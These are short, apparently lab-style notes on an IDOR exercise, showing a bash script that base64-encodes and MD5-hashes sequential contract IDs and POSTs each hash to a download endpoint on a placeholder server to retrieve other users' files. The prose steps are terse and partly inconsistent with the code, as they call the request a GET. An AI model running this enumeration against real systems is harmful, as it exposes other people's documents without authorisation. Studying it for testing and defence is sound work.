Bypassing Encoded References

for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

As we can see in the source page of the website

It is converting the contract id to base64 then performing URL encoded

See the payload

intercept the request

it is a get request

First I tried replicating the payload

Then created a bash script

Just execute the bash script

Last updated